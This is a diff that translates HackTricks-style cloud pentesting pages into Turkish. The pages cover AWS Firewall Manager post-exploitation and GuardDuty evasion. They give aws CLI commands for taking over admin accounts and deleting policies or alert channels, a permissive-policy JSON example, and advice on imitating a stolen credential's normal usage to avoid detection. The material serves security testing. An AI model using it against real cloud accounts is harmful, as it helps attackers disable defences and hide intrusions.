belirtebilirsiniz. Ayrıca, hesap sahipleri bu setlerin arasında çalışacak kuralları ve kural gruplarını ekleyebilir. +2. **Shield Advanced Politikası:** Bu politika, belirli kaynak türleri için organizasyonunuz genelinde Shield Advanced korumalarını uygular. DDoS saldırılarına ve diğer tehditlere karşı koruma sağlar. +3. **Amazon VPC Güvenlik Grubu Politikası:** Bu politika ile organizasyonunuzda kullanılan güvenlik gruplarını yönetebilir, AWS ortamınızda ağ erişimini kontrol etmek için temel bir kural seti uygulayabilirsiniz. +4. **Amazon VPC Ağ Erişim Kontrol Listesi (ACL) Politikası:** Bu politika türü, organizasyonunuzda kullanılan ağ ACL'leri üzerinde kontrol sağlar ve AWS ortamınızda temel bir ağ ACL seti uygulamanıza olanak tanır. +5. **Ağ Güvenlik Duvarı Politikası:** Bu politika, organizasyonunuzun VPC'lerine AWS Network Firewall koruması uygular ve önceden tanımlanmış kurallara dayalı olarak trafiği filtreleyerek ağ güvenliğini artırır. +6. **Amazon Route 53 Resolver DNS Güvenlik Duvarı Politikası:** Bu politika, organizasyonunuzun VPC'lerine DNS Güvenlik Duvarı korumalarını uygular, kötü niyetli alan çözümleme girişimlerini engellemeye ve DNS trafiği için güvenlik politikalarını uygulamaya yardımcı olur. +7. **Üçüncü Taraf Güvenlik Duvarı Politikası:** Bu politika türü, AWS Marketplace konsolu aracılığıyla abonelikle sunulan üçüncü taraf güvenlik duvarlarından korumaları uygular. Güvenilir satıcılardan ek güvenlik önlemlerini AWS ortamınıza entegre etmenizi sağlar. +1. **Palo Alto Networks Cloud NGFW Politikası:** Bu politika, organizasyonunuzun VPC'lerine Palo Alto Networks Cloud Next Generation Firewall (NGFW) korumalarını ve kural yığınlarını uygular, gelişmiş tehdit önleme ve uygulama düzeyinde güvenlik kontrolleri sağlar. +2. **Fortigate Cloud Native Firewall (CNF) as a Service Politikası:** Bu politika, Fortigate Cloud Native Firewall (CNF) as a Service korumalarını uygular ve bulut altyapıları için sektördeki en iyi tehdit önleme, web uygulama güvenlik duvarı (WAF) ve API koruması sunar. -### Administrator accounts +### Yönetici hesapları -AWS Firewall Manager offers flexibility in managing firewall resources within your organization through its administrative scope and two types of administrator accounts. +AWS Firewall Manager, organizasyonunuz içindeki güvenlik duvarı kaynaklarını yönetme esnekliği sunar ve iki tür yönetici hesabı ile birlikte gelir. -**Administrative scope defines the resources that a Firewall Manager administrator can manage**. After an AWS Organizations management account onboards an organization to Firewall Manager, it can create additional administrators with different administrative scopes. These scopes can include: +**Yönetim kapsamı, bir Firewall Manager yöneticisinin yönetebileceği kaynakları tanımlar**. AWS Organizations yönetim hesabı, bir organizasyonu Firewall Manager'a dahil ettiğinde, farklı yönetim kapsamlarına sahip ek yöneticiler oluşturabilir. Bu kapsamlar şunları içerebilir: -- Accounts or organizational units (OUs) that the administrator can apply policies to. -- Regions where the administrator can perform actions. -- Firewall Manager policy types that the administrator can manage. +- Yöneticinin politikaları uygulayabileceği hesaplar veya organizasyonel birimler (OU'lar). +- Yöneticinin eylemleri gerçekleştirebileceği bölgeler. +- Yöneticinin yönetebileceği Firewall Manager politika türleri. -Administrative scope can be either **full or restricted**. Full scope grants the administrator access to **all specified resource types, regions, and policy types**. In contrast, **restricted scope provides administrative permission to only a subset of resources, regions, or policy types**. It's advisable to grant administrators only the permissions they need to fulfill their roles effectively. You can apply any combination of these administrative scope conditions to an administrator, ensuring adherence to the principle of least privilege. +Yönetim kapsamı **tam veya kısıtlı** olabilir. Tam kapsam, yöneticinin **tüm belirtilen kaynak türlerine, bölgelere ve politika türlerine** erişim sağlar. Buna karşın, **kısıtlı kapsam, yalnızca belirli bir kaynak, bölge veya politika türü alt kümesine yönetim izni verir**. Yöneticilere, rollerini etkili bir şekilde yerine getirmek için ihtiyaç duydukları izinlerin verilmesi önerilir. Bu yönetim kapsamı koşullarının herhangi bir kombinasyonunu bir yöneticinin üzerine uygulayarak, en az ayrıcalık ilkesine uyulmasını sağlayabilirsiniz. -There are two distinct types of administrator accounts, each serving specific roles and responsibilities: +İki farklı yönetici hesabı türü vardır; her biri belirli roller ve sorumluluklar üstlenir: -- **Default Administrator:** - - The default administrator account is created by the AWS Organizations organization's management account during the onboarding process to Firewall Manager. - - This account has the capability to manage third-party firewalls and possesses full administrative scope. - - It serves as the primary administrator account for Firewall Manager, responsible for configuring and enforcing security policies across the organization. - - While the default administrator has full access to all resource types and administrative functionalities, it operates at the same peer level as other administrators if multiple administrators are utilized within the organization. -- **Firewall Manager Administrators:** - - These administrators can manage resources within the scope designated by the AWS Organizations management account, as defined by the administrative scope configuration. - - Firewall Manager administrators are created to fulfill specific roles within the organization, allowing for delegation of responsibilities while maintaining security and compliance standards. - - Upon creation, Firewall Manager checks with AWS Organizations to determine if the account is already a delegated administrator. If not, Firewall Manager calls Organizations to designate the account as a delegated administrator for Firewall Manager. +- **Varsayılan Yönetici:** +- Varsayılan yönetici hesabı, AWS Organizations organizasyonunun yönetim hesabı tarafından Firewall Manager'a dahil edilme sürecinde oluşturulur. +- Bu hesap, üçüncü taraf güvenlik duvarlarını yönetme yeteneğine sahiptir ve tam yönetim kapsamına sahiptir. +- Firewall Manager için güvenlik politikalarını yapılandırmak ve uygulamakla sorumlu olan birincil yönetici hesabı olarak hizmet eder. +- Varsayılan yönetici, tüm kaynak türlerine ve yönetim işlevlerine tam erişime sahipken, organizasyon içinde birden fazla yönetici kullanılıyorsa diğer yöneticilerle aynı eşit seviyede çalışır. +- **Firewall Manager Yöneticileri:** +- Bu yöneticiler, AWS Organizations yönetim hesabı tarafından belirlenen kapsam dahilinde kaynakları yönetebilirler. +- Firewall Manager yöneticileri, organizasyon içinde belirli roller üstlenmek üzere oluşturulmuştur; bu, sorumlulukların devredilmesine olanak tanırken güvenlik ve uyumluluk standartlarını korur. +- Oluşturulduğunda, Firewall Manager, hesabın zaten bir delege yönetici olup olmadığını belirlemek için AWS Organizations ile kontrol eder. Delege yönetici değilse, Firewall Manager, hesabı Firewall Manager için delege yönetici olarak atamak üzere Organizations'ı arar. -Managing these administrator accounts involves creating them within Firewall Manager and defining their administrative scopes according to the organization's security requirements and the principle of least privilege. By assigning appropriate administrative roles, organizations can ensure effective security management while maintaining granular control over access to sensitive resources. +Bu yönetici hesaplarını yönetmek, Firewall Manager içinde oluşturarak ve organizasyonun güvenlik gereksinimlerine ve en az ayrıcalık ilkesine göre yönetim kapsamlarını tanımlamakla ilgilidir. Uygun yönetim rollerini atayarak, organizasyonlar etkili güvenlik yönetimini sağlarken hassas kaynaklara erişim üzerinde ayrıntılı kontrolü sürdürebilirler. -It is important to highlight that **only one account within an organization can serve as the Firewall Manager default administrator**, adhering to the principle of "**first in, last out**". To designate a new default administrator, a series of steps must be followed: +**Bir organizasyon içinde yalnızca bir hesabın Firewall Manager varsayılan yöneticisi olarak hizmet edebileceğini** vurgulamak önemlidir; bu, "**ilk giren, son çıkan**" ilkesine uyar. Yeni bir varsayılan yöneticiyi atamak için bir dizi adım izlenmelidir: -- First, each Firewall Administrator administrator account must revoke their own account. -- Then, the existing default administrator can revoke their own account, effectively offboarding the organization from Firewall Manager. This process results in the deletion of all Firewall Manager policies created by the revoked account. -- To conclude, the AWS Organizations management account must designate the Firewall Manager dafault administrator. +- Öncelikle, her Firewall Administrator yönetici hesabı kendi hesabını iptal etmelidir. +- Ardından, mevcut varsayılan yönetici kendi hesabını iptal edebilir ve organizasyonu Firewall Manager'dan etkili bir şekilde çıkarır. Bu süreç, iptal edilen hesabın oluşturduğu tüm Firewall Manager politikalarının silinmesine neden olur. +- Son olarak, AWS Organizations yönetim hesabı Firewall Manager varsayılan yöneticisini atamalıdır. ## Enumeration - ``` # Users/Administrators @@ -162,66 +161,58 @@ aws fms get-third-party-firewall-association-status --third-party-firewall --member-account --resource-id --resource-type ``` - ## Post Exploitation / Bypass Detection ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`) -An attacker with the **`fms:AssociateAdminAccount`** permission would be able to set the Firewall Manager default administrator account. With the **`fms:PutAdminAccount`** permission, an attacker would be able to create or updatea Firewall Manager administrator account and with the **`fms:DisassociateAdminAccount`** permission, a potential attacker could remove the current Firewall Manager administrator account association. - -- The disassociation of the **Firewall Manager default administrator follows the first-in-last-out policy**. All the Firewall Manager administrators must disassociate before the Firewall Manager default administrator can disassociate the account. -- In order to create a Firewall Manager administrator by **PutAdminAccount**, the account must belong to the organization that was previously onboarded to Firewall Manager using **AssociateAdminAccount**. -- The creation of a Firewall Manager administrator account can only be done by the organization's management account. +**`fms:AssociateAdminAccount`** iznine sahip bir saldırgan, Firewall Manager varsayılan yönetici hesabını ayarlayabilir. **`fms:PutAdminAccount`** iznine sahip bir saldırgan, bir Firewall Manager yönetici hesabı oluşturabilir veya güncelleyebilir ve **`fms:DisassociateAdminAccount`** iznine sahip bir potansiyel saldırgan, mevcut Firewall Manager yönetici hesabı ilişkilendirmesini kaldırabilir. +- **Firewall Manager varsayılan yöneticisinin ilişkisinin kaldırılması, ilk giren son çıkar politikasını takip eder**. Tüm Firewall Manager yöneticileri, Firewall Manager varsayılan yöneticisinin hesabı ilişkisinin kaldırılabilmesi için ilişkiyi kaldırmalıdır. +- **PutAdminAccount** ile bir Firewall Manager yöneticisi oluşturmak için, hesabın daha önce **AssociateAdminAccount** kullanılarak Firewall Manager'a kaydedilen organizasyona ait olması gerekir. +- Bir Firewall Manager yönetici hesabı yalnızca organizasyonun yönetim hesabı tarafından oluşturulabilir. ```bash aws fms associate-admin-account --admin-account aws fms disassociate-admin-account aws fms put-admin-account --admin-account ``` - -**Potential Impact:** Loss of centralized management, policy evasion, compliance violations, and disruption of security controls within the environment. +**Potansiyel Etki:** Merkezi yönetimin kaybı, politika ihlalleri, uyum ihlalleri ve ortam içindeki güvenlik kontrollerinin kesintiye uğraması. ### `fms:PutPolicy`, `fms:DeletePolicy` -An attacker with the **`fms:PutPolicy`**, **`fms:DeletePolicy`** permissions would be able to create, modify or permanently delete an AWS Firewall Manager policy. - +**`fms:PutPolicy`**, **`fms:DeletePolicy`** izinlerine sahip bir saldırgan, bir AWS Firewall Manager politikasını oluşturabilir, değiştirebilir veya kalıcı olarak silebilir. ```bash aws fms put-policy --policy | --cli-input-json file:// [--tag-list ] aws fms delete-policy --policy-id [--delete-all-policy-resources | --no-delete-all-policy-resources] ``` - -An example of permisive policy through permisive security group, in order to bypass the detection, could be the following one: - +Bir tespit bypass etmek için izin verici güvenlik grubu aracılığıyla izin verici bir politikanın bir örneği aşağıdaki gibi olabilir: ```json { - "Policy": { - "PolicyName": "permisive_policy", - "SecurityServicePolicyData": { - "Type": "SECURITY_GROUPS_COMMON", - "ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}" - }, - "ResourceTypeList": [ - "AWS::EC2::Instance", - "AWS::EC2::NetworkInterface", - "AWS::EC2::SecurityGroup", - "AWS::ElasticLoadBalancingV2::LoadBalancer", - "AWS::ElasticLoadBalancing::LoadBalancer" - ], - "ResourceType": "AWS::EC2::SecurityGroup", - "ExcludeResourceTags": false, - "ResourceTags": [], - "RemediationEnabled": true - }, - "TagList": [] +"Policy": { +"PolicyName": "permisive_policy", +"SecurityServicePolicyData": { +"Type": "SECURITY_GROUPS_COMMON", +"ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}" +}, +"ResourceTypeList": [ +"AWS::EC2::Instance", +"AWS::EC2::NetworkInterface", +"AWS::EC2::SecurityGroup", +"AWS::ElasticLoadBalancingV2::LoadBalancer", +"AWS::ElasticLoadBalancing::LoadBalancer" +], +"ResourceType": "AWS::EC2::SecurityGroup", +"ExcludeResourceTags": false, +"ResourceTags": [], +"RemediationEnabled": true +}, +"TagList": [] } ``` - -**Potential Impact:** Dismantling of security controls, policy evasion, compliance violations, operational disruptions, and potential data breaches within the environment. +**Potansiyel Etki:** Güvenlik kontrollerinin kaldırılması, politika ihlalleri, uyum ihlalleri, operasyonel kesintiler ve ortamda potansiyel veri ihlalleri. ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` -An attacker with the **`fms:BatchAssociateResource`** and **`fms:BatchDisassociateResource`** permissions would be able to associate or disassociate resources from a Firewall Manager resource set respectively. In addition, the **`fms:PutResourceSet`** and **`fms:DeleteResourceSet`** permissions would allow an attacker to create, modify or delete these resource sets from AWS Firewall Manager. - +**`fms:BatchAssociateResource`** ve **`fms:BatchDisassociateResource`** izinlerine sahip bir saldırgan, sırasıyla bir Firewall Manager kaynak setine kaynakları ilişkilendirebilir veya ilişkilendirmeyi kaldırabilir. Ayrıca, **`fms:PutResourceSet`** ve **`fms:DeleteResourceSet`** izinleri, bir saldırgana bu kaynak setlerini AWS Firewall Manager'dan oluşturma, değiştirme veya silme yetkisi verecektir. ```bash # Associate/Disassociate resources from a resource set aws fms batch-associate-resource --resource-set-identifier --items @@ -231,83 +222,68 @@ aws fms batch-disassociate-resource --resource-set-identifier --items [--tag-list ] aws fms delete-resource-set --identifier ``` - -**Potential Impact:** The addition of an unnecessary amount of items to a resource set will increase the level of noise in the Service potentially causing a DoS. In addition, changes of the resource sets could lead to a resource disruption, policy evasion, compliance violations, and disruption of security controls within the environment. +**Potansiyel Etki:** Gereksiz miktarda öğenin bir kaynak setine eklenmesi, Servisteki gürültü seviyesini artıracak ve potansiyel olarak bir DoS'a neden olacaktır. Ayrıca, kaynak setlerindeki değişiklikler, kaynak kesintisine, politika ihlallerine, uyum ihlallerine ve ortam içindeki güvenlik kontrollerinin kesintiye uğramasına yol açabilir. ### `fms:PutAppsList`, `fms:DeleteAppsList` -An attacker with the **`fms:PutAppsList`** and **`fms:DeleteAppsList`** permissions would be able to create, modify or delete application lists from AWS Firewall Manager. This could be critical, as unauthorized applications could be allowed access to the general public, or access to authorized applications could be denied, causing a DoS. - +**`fms:PutAppsList`** ve **`fms:DeleteAppsList`** izinlerine sahip bir saldırgan, AWS Firewall Manager'dan uygulama listeleri oluşturabilir, değiştirebilir veya silebilir. Bu kritik olabilir, çünkü yetkisiz uygulamaların genel halka erişimine izin verilebilir veya yetkili uygulamalara erişim reddedilebilir, bu da bir DoS'a neden olabilir. ```bash aws fms put-apps-list --apps-list [--tag-list ] aws fms delete-apps-list --list-id ``` - -**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment. +**Olası Etki:** Bu, yanlış yapılandırmalara, politika ihlallerine, uyum ihlallerine ve ortam içindeki güvenlik kontrollerinin kesintiye uğramasına neden olabilir. ### `fms:PutProtocolsList`, `fms:DeleteProtocolsList` -An attacker with the **`fms:PutProtocolsList`** and **`fms:DeleteProtocolsList`** permissions would be able to create, modify or delete protocols lists from AWS Firewall Manager. Similarly as with applications lists, this could be critical since unauthorized protocols could be used by the general public, or the use of authorized protocols could be denied, causing a DoS. - +**`fms:PutProtocolsList`** ve **`fms:DeleteProtocolsList`** izinlerine sahip bir saldırgan, AWS Firewall Manager'dan protokol listeleri oluşturabilir, değiştirebilir veya silebilir. Uygulama listelerinde olduğu gibi, bu kritik olabilir çünkü yetkisiz protokoller genel halk tarafından kullanılabilir veya yetkili protokollerin kullanımı reddedilebilir, bu da bir DoS'a neden olabilir. ```bash aws fms put-protocols-list --apps-list [--tag-list ] aws fms delete-protocols-list --list-id ``` - -**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment. +**Olası Etki:** Bu, yanlış yapılandırmalara, politika kaçaklarına, uyum ihlallerine ve ortam içindeki güvenlik kontrollerinin kesintiye uğramasına neden olabilir. ### `fms:PutNotificationChannel`, `fms:DeleteNotificationChannel` -An attacker with the **`fms:PutNotificationChannel`** and **`fms:DeleteNotificationChannel`** permissions would be able to delete and designate the IAM role and Amazon Simple Notification Service (SNS) topic that Firewall Manager uses to record SNS logs. +**`fms:PutNotificationChannel`** ve **`fms:DeleteNotificationChannel`** izinlerine sahip bir saldırgan, Firewall Manager'ın SNS günlüklerini kaydetmek için kullandığı IAM rolünü ve Amazon Basit Bildirim Servisi (SNS) konusunu silip belirleyebilir. -To use **`fms:PutNotificationChannel`** outside of the console, you need to set up the SNS topic's access policy, allowing the specified **SnsRoleName** to publish SNS logs. If the provided **SnsRoleName** is a role other than the **`AWSServiceRoleForFMS`**, it requires a trust relationship configured to permit the Firewall Manager service principal **fms.amazonaws.com** to assume this role. +**`fms:PutNotificationChannel`**'ı konsol dışında kullanmak için, belirtilen **SnsRoleName**'in SNS günlüklerini yayınlamasına izin veren SNS konusunun erişim politikasını ayarlamanız gerekir. Sağlanan **SnsRoleName** **`AWSServiceRoleForFMS`** dışındaki bir rol ise, Firewall Manager hizmeti ana bilgisinin **fms.amazonaws.com** bu rolü üstlenmesine izin verecek şekilde bir güven ilişkisi yapılandırılması gerekir. -For information about configuring an SNS access policy: +SNS erişim politikasını yapılandırma hakkında bilgi için: {{#ref}} ../aws-sns-enum.md {{#endref}} - ```bash aws fms put-notification-channel --sns-topic-arn --sns-role-name aws fms delete-notification-channel ``` - -**Potential Impact:** This would potentially lead to miss security alerts, delayed incident response, potential data breaches and operational disruptions within the environment. +**Potansiyel Etki:** Bu, güvenlik uyarılarının atlanmasına, olay yanıtının gecikmesine, potansiyel veri ihlallerine ve ortamda operasyonel kesintilere yol açabilir. ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` -An attacker with the **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** permissions would be able to associate or disassociate third-party firewalls from being managed centrally through AWS Firewall Manager. +**`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** izinlerine sahip bir saldırgan, üçüncü taraf güvenlik duvarlarını AWS Firewall Manager aracılığıyla merkezi olarak yönetmekten ilişkilendirebilir veya ilişkilendirmeyi kaldırabilir. > [!WARNING] -> Only the default administrator can create and manage third-party firewalls. - +> Sadece varsayılan yönetici üçüncü taraf güvenlik duvarlarını oluşturabilir ve yönetebilir. ```bash aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] ``` - -**Potential Impact:** The disassociation would lead to a policy evasion, compliance violations, and disruption of security controls within the environment. The association on the other hand would lead to a disruption of cost and budget allocation. +**Olası Etki:** Ayrılma, bir politika kaçışına, uyum ihlallerine ve ortam içindeki güvenlik kontrollerinin kesintiye uğramasına yol açacaktır. Diğer yandan, ilişkilendirme maliyet ve bütçe tahsisinde bir kesintiye yol açacaktır. ### `fms:TagResource`, `fms:UntagResource` -An attacker would be able to add, modify, or remove tags from Firewall Manager resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Bir saldırgan, Firewall Manager kaynaklarından etiket ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisini, kaynak takibini ve etiketlere dayalı erişim kontrol politikalarını kesintiye uğratır. ```bash aws fms tag-resource --resource-arn --tag-list aws fms untag-resource --resource-arn --tag-keys ``` +**Potansiyel Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması. -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. - -## References +## Referanslar - [https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html](https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html) - [https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html](https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index 2794852d3..78b875d84 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -4,64 +4,63 @@ ## GuardDuty -According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty combines **machine learning, anomaly detection, network monitoring, and malicious file discovery**, using both AWS and industry-leading third-party sources to help protect workloads and data on AWS. GuardDuty is capable of analysing tens of billions of events across multiple AWS data sources, such as AWS CloudTrail event logs, Amazon Virtual Private Cloud (VPC) Flow Logs, Amazon Elastic Kubernetes Service (EKS) audit and system-level logs, and DNS query logs. +[**Belgeler**](https://aws.amazon.com/guardduty/features/) göre: GuardDuty, AWS ve sektördeki önde gelen üçüncü taraf kaynakları kullanarak **makine öğrenimi, anomali tespiti, ağ izleme ve kötü amaçlı dosya keşfi** kombinasyonu yapar ve AWS üzerindeki iş yüklerini ve verileri korumaya yardımcı olur. GuardDuty, AWS CloudTrail olay günlükleri, Amazon Sanal Özel Bulut (VPC) Akış Günlükleri, Amazon Elastic Kubernetes Service (EKS) denetim ve sistem düzeyi günlükleri ve DNS sorgu günlükleri gibi birden fazla AWS veri kaynağı üzerinden on milyarlarca olayı analiz etme yeteneğine sahiptir. -Amazon GuardDuty **identifies unusual activity within your accounts**, analyses the **security relevanc**e of the activity, and gives the **context** in which it was invoked. This allows a responder to determine if they should spend time on further investigation. +Amazon GuardDuty, **hesaplarınızda olağandışı etkinlikleri tanımlar**, etkinliğin **güvenlik ile ilgili** analizini yapar ve etkinliğin çağrıldığı **bağlamı** sağlar. Bu, bir yanıtlayıcının daha fazla araştırmaya zaman harcayıp harcamayacağına karar vermesine olanak tanır. -Alerts **appear in the GuardDuty console (90 days)** and CloudWatch Events. +Uyarılar **GuardDuty konsolunda (90 gün)** ve CloudWatch Olayları'nda görünür. > [!WARNING] -> When a user **disable GuardDuty**, it will stop monitoring your AWS environment and it won't generate any new findings at all, and the **existing findings will be lost**.\ -> If you just stop it, the existing findings will remain. +> Bir kullanıcı **GuardDuty'yi devre dışı bıraktığında**, AWS ortamınızı izlemeyi durdurur ve hiç yeni bulgu üretmez, ayrıca **mevcut bulgular kaybolur**.\ +> Sadece durdurursanız, mevcut bulgular kalır. -### Findings Example +### Bulgular Örneği -- **Reconnaissance**: Activity suggesting reconnaissance by an attacker, such as **unusual API activity**, suspicious database **login** attempts, intra-VPC **port scanning**, unusual failed login request patterns, or unblocked port probing from a known bad IP. -- **Instance compromise**: Activity indicating an instance compromise, such as **cryptocurrency mining, backdoor command and control (C\&C)** activity, malware using domain generation algorithms (DGA), outbound denial of service activity, unusually **high network** traffic volume, unusual network protocols, outbound instance communication with a known malicious IP, temporary Amazon EC2 credentials used by an external IP address, and data exfiltration using DNS. -- **Account compromise**: Common patterns indicative of account compromise include API calls from an unusual geolocation or anonymizing proxy, attempts to disable AWS CloudTrail logging, changes that weaken the account password policy, unusual instance or infrastructure launches, infrastructure deployments in an unusual region, credential theft, suspicious database login activity, and API calls from known malicious IP addresses. -- **Bucket compromise**: Activity indicating a bucket compromise, such as suspicious data access patterns indicating credential misuse, unusual Amazon S3 API activity from a remote host, unauthorized S3 access from known malicious IP addresses, and API calls to retrieve data in S3 buckets from a user with no prior history of accessing the bucket or invoked from an unusual location. Amazon GuardDuty continuously monitors and analyzes AWS CloudTrail S3 data events (e.g. GetObject, ListObjects, DeleteObject) to detect suspicious activity across all of your Amazon S3 buckets. +- **Keşif**: Bir saldırgan tarafından keşif öneren etkinlikler, örneğin **olağandışı API etkinliği**, şüpheli veritabanı **giriş** girişimleri, intra-VPC **port taraması**, olağandışı başarısız giriş isteği desenleri veya bilinen kötü IP'den engellenmemiş port taraması. +- **Örnek ihlali**: **kripto para madenciliği, arka kapı komut ve kontrol (C\&C)** etkinliği, alan adı üretim algoritmaları (DGA) kullanan kötü amaçlı yazılım, dışa dönük hizmet reddi etkinliği, olağandışı **yüksek ağ** trafiği hacmi, olağandışı ağ protokolleri, bilinen kötü niyetli bir IP ile dışa dönük örnek iletişimi, harici bir IP adresi tarafından kullanılan geçici Amazon EC2 kimlik bilgileri ve DNS kullanarak veri sızdırma. +- **Hesap ihlali**: Hesap ihlalini gösteren yaygın desenler, olağandışı bir coğrafi konumdan veya anonimleştirme proxy'sinden API çağrıları, AWS CloudTrail günlüklerini devre dışı bırakma girişimleri, hesap şifre politikalarını zayıflatan değişiklikler, olağandışı örnek veya altyapı başlatmaları, olağandışı bir bölgede altyapı dağıtımları, kimlik bilgisi hırsızlığı, şüpheli veritabanı giriş etkinliği ve bilinen kötü niyetli IP adreslerinden API çağrıları. +- **Kova ihlali**: Kimlik bilgisi kötüye kullanımını gösteren şüpheli veri erişim desenleri, uzaktan bir ana bilgisayardan olağandışı Amazon S3 API etkinliği, bilinen kötü IP adreslerinden yetkisiz S3 erişimi ve daha önce kova erişim geçmişi olmayan bir kullanıcıdan veya olağandışı bir yerden çağrılan S3 kovalarındaki verileri almak için API çağrıları gibi bir kova ihlalini gösteren etkinlikler. Amazon GuardDuty, tüm Amazon S3 kovalarınızda şüpheli etkinlikleri tespit etmek için AWS CloudTrail S3 veri olaylarını (örneğin GetObject, ListObjects, DeleteObject) sürekli izler ve analiz eder.
-Finding Information +Bulgu Bilgisi -Finding summary: +Bulgu özeti: -- Finding type -- Severity: 7-8.9 High, 4-6.9 Medium, 01-3.9 Low -- Region -- Account ID -- Resource ID -- Time of detection -- Which threat list was used +- Bulgu türü +- Ciddiyet: 7-8.9 Yüksek, 4-6.9 Orta, 01-3.9 Düşük +- Bölge +- Hesap Kimliği +- Kaynak Kimliği +- Tespit zamanı +- Hangi tehdit listesinin kullanıldığı -The body has this information: +Gövdede bu bilgiler vardır: -- Resource affected -- Action -- Actor: Ip address, port and domain -- Additional Information +- Etkilenen kaynak +- Eylem +- Aktör: IP adresi, port ve alan adı +- Ek Bilgi
-### All Findings +### Tüm Bulgular -Access a list of all the GuardDuty findings in: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) +Tüm GuardDuty bulgularının listesini şu adresten erişebilirsiniz: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) -### Multi Accounts +### Çoklu Hesaplar -#### By Invitation +#### Davetle -You can **invite other accounts** to a different AWS GuardDuty account so **every account is monitored from the same GuardDuty**. The master account must invite the member accounts and then the representative of the member account must accept the invitation. +Diğer hesapları farklı bir AWS GuardDuty hesabına **davet edebilirsiniz**, böylece **her hesap aynı GuardDuty'den izlenir**. Ana hesap, üye hesapları davet etmelidir ve ardından üye hesabın temsilcisi daveti kabul etmelidir. -#### Via Organization +#### Organizasyon Üzerinden -You can designate any account within the organization to be the **GuardDuty delegated administrator**. Only the organization management account can designate a delegated administrator. +Organizasyondaki herhangi bir hesabı **GuardDuty delege yöneticisi** olarak belirleyebilirsiniz. Sadece organizasyon yönetim hesabı bir delege yöneticisi atayabilir. -An account that gets designated as a delegated administrator becomes a GuardDuty administrator account, has GuardDuty enabled automatically in the designated AWS Region, and also has the **permission to enable and manage GuardDuty for all of the accounts in the organization within that Region**. The other accounts in the organization can be viewed and added as GuardDuty member accounts associated with this delegated administrator account. +Delege yöneticisi olarak belirlenen bir hesap, GuardDuty yöneticisi hesabı haline gelir, belirlenen AWS Bölgesinde GuardDuty otomatik olarak etkinleştirilir ve ayrıca o Bölgedeki organizasyondaki tüm hesaplar için GuardDuty'yi etkinleştirme ve yönetme **izinine** sahip olur. Organizasyondaki diğer hesaplar, bu delege yöneticisi hesabıyla ilişkili GuardDuty üye hesapları olarak görüntülenebilir ve eklenebilir. ## Enumeration - ```bash # Get Org config aws guardduty list-organization-admin-accounts #Get Delegated Administrator @@ -101,83 +100,74 @@ aws guardduty list-publishing-destinations --detector-id aws guardduty list-threat-intel-sets --detector-id aws guardduty get-threat-intel-set --detector-id --threat-intel-set-id ``` - ## GuardDuty Bypass -### General Guidance +### Genel Rehberlik -Try to find out as much as possible about the behaviour of the credentials you are going to use: +Kullanacağınız kimlik bilgileri hakkında mümkün olduğunca fazla bilgi edinmeye çalışın: -- Times it's used -- Locations -- User Agents / Services (It could be used from awscli, webconsole, lambda...) -- Permissions regularly used +- Kullanım zamanları +- Lokasyonlar +- Kullanıcı Ajanları / Hizmetler (awscli, webconsole, lambda gibi kullanılabilir...) +- Düzenli olarak kullanılan izinler -With this information, recreate as much as possible the same scenario to use the access: +Bu bilgilerle, erişimi kullanmak için mümkün olduğunca aynı senaryoyu yeniden oluşturun: -- If it's a **user or a role accessed by a user**, try to use it in the same hours, from the same geolocation (even the same ISP and IP if possible) -- If it's a **role used by a service**, create the same service in the same region and use it from there in the same time ranges -- Always try to use the **same permissions** this principal has used -- If you need to **use other permissions or abuse a permission** (for example, download 1.000.000 cloudtrail log files) do it **slowly** and with the **minimum amount of interactions** with AWS (awscli sometime call several read APIs before the write one) +- Eğer bu bir **kullanıcı veya bir kullanıcı tarafından erişilen bir rol** ise, aynı saatlerde, aynı coğrafi konumdan (mümkünse aynı ISP ve IP ile) kullanmaya çalışın +- Eğer bu 